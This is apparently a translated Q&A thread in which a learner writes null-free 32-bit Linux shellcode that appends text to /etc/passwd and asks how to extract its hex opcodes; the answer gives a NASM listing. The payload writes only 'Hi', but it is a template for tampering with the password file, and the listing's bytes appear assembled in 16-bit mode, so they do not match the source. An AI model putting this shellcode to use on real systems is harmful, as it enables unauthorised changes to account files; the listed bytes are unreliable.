如何显示给定asm文件的十六进制值

时间:2018-10-03 08:02:29

标签: assembly

可能是一个愚蠢的问题,但是我很新。使用32位操作系统并编写汇编代码以将字符串“ Hi”附加到/ etc / passwd文件中可以很好地工作,现在,我想检索相应的十六进制代码,试图发现用于构建shellcode的错误字符。 通过以下方式构建可执行文件:

   nasm file.asm 
   ld file.o

然后执行,我在/ etc / passwd的末尾得到字符串'Hi'。这是我要转换以查看十六进制值的汇编代码:

section .text
global _start

_start:

    jmp two
one:
;open() write|append sys call
    pop ebx
    xor eax, eax
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
;write() sys call
    pop ecx
    xor eax, eax
    mov dl, 2
    mov al, 4
    int 0x80

;close() sys call
    mov al, 6
    int 0x80
;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwd", 0
four:
    call five
    db "Hi", 0

更新:与以下代码相同的结果

section .text
global _start

_start:

    jmp two
one:
;open() write|append sys call
    pop ebx
    xor eax, eax
    mov [ebx+11], al        ; <--added now
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
;write() sys call
    pop ecx
    xor eax, eax
    mov [ecx+2], al      ; <--added now
    mov dl, 2
    mov al, 4
    int 0x80

;close() sys call
    mov al, 6
    int 0x80
;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwdX"     ; <--modified now
four:
    call five
    db "HiX"              ; <--modified now

新提供的asm版本仍然可以使用,并且应该解决字符串的NULL字节的问题,对吗?

1 个答案:

答案 0 :(得分:0)

是的,第一个评论中回答了该问题,其他评论帮助我改进了代码。为了更好的理解,我将展示从一开始的所有步骤: 这是将字符串“ Hi”附加到/ etc / passwd的汇编代码:

global _start

_start:

    jmp two
one:
    ;open() write|append sys call
    pop ebx
    xor eax, eax
    mov [ebx+11], al        
    mov cl, 1090
    mov al, 5
    int 0x80
    mov ebx, eax

    jmp four

five:
    ;write() sys call
    pop ecx
    xor eax, eax
    mov [ecx+2], al      
    mov dl, 2
    mov al, 4
    int 0x80

    ;close() sys call
    mov al, 6
    int 0x80
    ;exit() sys call
    mov al, 1
    xor ebx, ebx
    int 0x80

two:
    call one
    db "/etc/passwdX"     
four:
    call five
    db "HiX"     

然后生成十六进制代码,只需按照建议执行:

 nasm -l output.txt file.asm

然后打开output.txt,它将显示:

 1                                  global _start
 2
 3                                  _start:
 4
 5 00000000 EB32                            jmp two
 6                                  one:
 7 00000002 665B                            pop ebx
 8 00000004 6631C0                          xor eax, eax
 9 00000007 6788430B                        mov [ebx+11], al
10 0000000B 66B942040000                    mov ecx, 1090
11 00000011 B005                            mov al, 5
12 00000013 CD80                            int 0x80
13 00000015 6689C3                          mov ebx, eax
14
15 00000018 EB29                            jmp four
16
17                                  five:
18 0000001A 6659                            pop ecx
19 0000001C 6631C0                          xor eax, eax
20 0000001F 67884102                        mov [ecx+2], al
21 00000023 B202                            mov dl, 2
22 00000025 B004                            mov al, 4
23 00000027 CD80                            int 0x80
24
25 00000029 B006                            mov al, 6
26 0000002B CD80                            int 0x80
27
28 0000002D B001                            mov al, 1
29 0000002F 6631DB                          xor ebx, ebx
30 00000032 CD80                            int 0x80
31
32                                  two:
33 00000034 E8CBFF                          call one
34 00000037 2F6574632F70617373-             db "/etc/passwdX"
35 00000040 776458
36                                  four:
37 00000043 E8D4FF                          call five
38 00000046 486958                          db "HiX"